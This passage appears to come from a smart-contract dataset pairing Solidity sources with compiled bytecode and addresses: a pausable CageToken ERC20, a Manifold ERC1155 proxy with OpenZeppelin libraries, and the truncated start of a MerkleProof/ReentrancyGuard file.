ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: node_modules\@openzeppelin\contracts\GSN\Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts\access\Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin\contracts\utils\Pausable.sol /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts\CageToken.sol contract CageToken is IERC20, Ownable, Pausable { using SafeMath for uint256; using Address for address; using SafeERC20 for IERC20; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name = "Cage Token"; string private _symbol = "CAGE"; uint8 private _decimals = 18; uint256 public TOTAL_SUPPLY = 1000000000000000 ether; constructor() public { _totalSupply = TOTAL_SUPPLY; _balances[msg.sender] = TOTAL_SUPPLY; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override whenNotPaused returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override whenNotPaused returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "CageToken: TRANSFER_AMOUNT_EXCEEDS_ALLOWANCE" ) ); return true; } function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override whenNotPaused returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual whenNotPaused returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual whenNotPaused returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "CageToken: DECREASED_ALLOWANCE_BELOW_ZERO" ) ); return true; } function withdraw(address token, uint256 amount) public onlyOwner { IERC20(token).safeTransfer(msg.sender, amount); } function pause() public onlyOwner whenNotPaused { _pause(); } function unpause() public onlyOwner whenPaused { _unpause(); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require( sender != address(0), "CageToken: TRANSFER_FROM_THE_ZERO_ADDRESS" ); require( recipient != address(0), "CageToken: TRANSFER_TO_THE_ZERO_ADDRESS" ); _balances[sender] = _balances[sender].sub( amount, "CageToken: TRANSFER_AMOUNT_EXCEEDS_BALANCE" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "CageToken: APPROVE_FROM_THE_ZERO_ADDRESS"); require(spender != address(0), "CageToken: APPROVE_TO_THE_ZERO_ADDRESS"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d7146102f9578063a9059cbb14610325578063dd62ed3e14610351578063f2fde38b1461037f578063f3fef3a3146103a557610121565b8063715018a6146102b55780638456cb59146102bd5780638da5cb5b146102c5578063902d55a5146102e957806395d89b41146102f157610121565b8063313ce567116100f4578063313ce5671461023357806339509351146102515780633f4ba83a1461027d5780635c975abb1461028757806370a082311461028f57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e6103d1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610467565b604080519115158252519081900360200190f35b6101eb6104ce565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61023b61058e565b6040805160ff9092168252519081900360200190f35b6101cf6004803603604081101561026757600080fd5b506001600160a01b038135169060200135610597565b61028561061f565b005b6101cf6106d6565b6101eb600480360360208110156102a557600080fd5b50356001600160a01b03166106e6565b610285610701565b6102856107a3565b6102cd610855565b604080516001600160a01b039092168252519081900360200190f35b6101eb610864565b61012e61086a565b6101cf6004803603604081101561030f57600080fd5b506001600160a01b0381351690602001356108cb565b6101cf6004803603604081101561033b57600080fd5b506001600160a01b03813516906020013561096b565b6101eb6004803603604081101561036757600080fd5b506001600160a01b03813581169160200135166109c9565b6102856004803603602081101561039557600080fd5b50356001600160a01b03166109f4565b610285600480360360408110156103bb57600080fd5b506001600160a01b038135169060200135610aec565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561045d5780601f106104325761010080835404028352916020019161045d565b820191906000526020600020905b81548152906001019060200180831161044057829003601f168201915b5050505050905090565b60008054600160a01b900460ff16156104ba576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6104c5338484610b5c565b50600192915050565b60035490565b60008054600160a01b900460ff1615610527576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b610532848484610c48565b610584843361057f856040518060600160405280602c815260200161125f602c91396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d9a565b610b5c565b5060019392505050565b60065460ff1690565b60008054600160a01b900460ff16156105ea576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b3360008181526002602090815260408083206001600160a01b03881684529091529020546104c59190859061057f9086610e31565b610627610e92565b6000546001600160a01b03908116911614610677576040805162461bcd60e51b8152602060048201819052602482015260008051602061134f833981519152604482015290519081900360640190fd5b600054600160a01b900460ff166106cc576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6106d4610e96565b565b600054600160a01b900460ff1690565b6001600160a01b031660009081526001602052604090205490565b610709610e92565b6000546001600160a01b03908116911614610759576040805162461bcd60e51b8152602060048201819052602482015260008051602061134f833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6107ab610e92565b6000546001600160a01b039081169116146107fb576040805162461bcd60e51b8152602060048201819052602482015260008051602061134f833981519152604482015290519081900360640190fd5b600054600160a01b900460ff161561084d576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6106d4610f3e565b6000546001600160a01b031690565b60075481565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561045d5780601f106104325761010080835404028352916020019161045d565b60008054600160a01b900460ff161561091e576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6104c5338461057f856040518060600160405280602981526020016112b1602991393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610d9a565b60008054600160a01b900460ff16156109be576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6104c5338484610c48565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6109fc610e92565b6000546001600160a01b03908116911614610a4c576040805162461bcd60e51b8152602060048201819052602482015260008051602061134f833981519152604482015290519081900360640190fd5b6001600160a01b038116610a915760405162461bcd60e51b815260040180806020018281038252602681526020018061128b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610af4610e92565b6000546001600160a01b03908116911614610b44576040805162461bcd60e51b8152602060048201819052602482015260008051602061134f833981519152604482015290519081900360640190fd5b610b586001600160a01b0383163383610fcc565b5050565b6001600160a01b038316610ba15760405162461bcd60e51b81526004018080602001828103825260288152602001806112da6028913960400191505060405180910390fd5b6001600160a01b038216610be65760405162461bcd60e51b81526004018080602001828103825260268152602001806113296026913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b81526004018080602001828103825260298152602001806113c36029913960400191505060405180910390fd5b6001600160a01b038216610cd25760405162461bcd60e51b81526004018080602001828103825260278152602001806113026027913960400191505060405180910390fd5b610d0f816040518060600160405280602a815260200161136f602a91396001600160a01b0386166000908152600160205260409020549190610d9a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610d3e9082610e31565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610e295760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dee578181015183820152602001610dd6565b50505050905090810190601f168015610e1b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610e8b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b600054600160a01b900460ff16610eeb576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6000805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610f21610e92565b604080516001600160a01b039092168252519081900360200190a1565b600054600160a01b900460ff1615610f90576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6000805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610f21610e92565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261101e908490611023565b505050565b6060611078826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166110d49092919063ffffffff16565b80519091501561101e5780806020019051602081101561109757600080fd5b505161101e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611399602a913960400191505060405180910390fd5b60606110e384846000856110eb565b949350505050565b60606110f685611258565b611147576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106111865780518252601f199092019160209182019101611167565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146111e8576040519150601f19603f3d011682016040523d82523d6000602084013e6111ed565b606091505b509150915081156112015791506110e39050565b8051156112115780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315610dee578181015183820152602001610dd6565b3b15159056fe43616765546f6b656e3a205452414e534645525f414d4f554e545f455843454544535f414c4c4f57414e43454f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737343616765546f6b656e3a204445435245415345445f414c4c4f57414e43455f42454c4f575f5a45524f43616765546f6b656e3a20415050524f56455f46524f4d5f5448455f5a45524f5f4144445245535343616765546f6b656e3a205452414e534645525f544f5f5448455f5a45524f5f4144445245535343616765546f6b656e3a20415050524f56455f544f5f5448455f5a45524f5f414444524553534f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657243616765546f6b656e3a205452414e534645525f414d4f554e545f455843454544535f42414c414e43455361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656443616765546f6b656e3a205452414e534645525f46524f4d5f5448455f5a45524f5f41444452455353a26469706673582212207eb53ac3bd4d2a6337ad0906469514606dd946c747c19d72f74609c0bf46d4a664736f6c634300060c0033
[ 38 ]
0xf212cb78c43b3d4c4b3c1011c88a598b5ddb85ee
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: truffles editions /// @author: manifold.xyz import "./ERC1155Creator.sol"; ///////////////////////////////////////////////////////////////////////////////////// // // // // // // // _/ _/_/ _/_/ _/ // // _/_/_/_/ _/ _/_/ _/ _/ _/ _/ _/ _/_/ _/_/_/ // // _/ _/_/ _/ _/ _/_/_/_/_/_/_/_/ _/ _/_/_/_/ _/_/ // // _/ _/ _/ _/ _/ _/ _/ _/ _/_/ // // _/_/ _/ _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ // // // // // // // // // ///////////////////////////////////////////////////////////////////////////////////// contract tr0ed is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122095bf35cf210f19fedda3ff6155755ed01ffd86d444e49bf3eaf1defbcd94376064736f6c63430008070033
[ 5 ]
0xF21352d989328AE4eFBb951F23fe9c519cE6121a
pragma solidity ^0.8.0; // File @openzeppelin/contracts/utils/cryptography/MerkleProof.sol@v4.4.2 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the 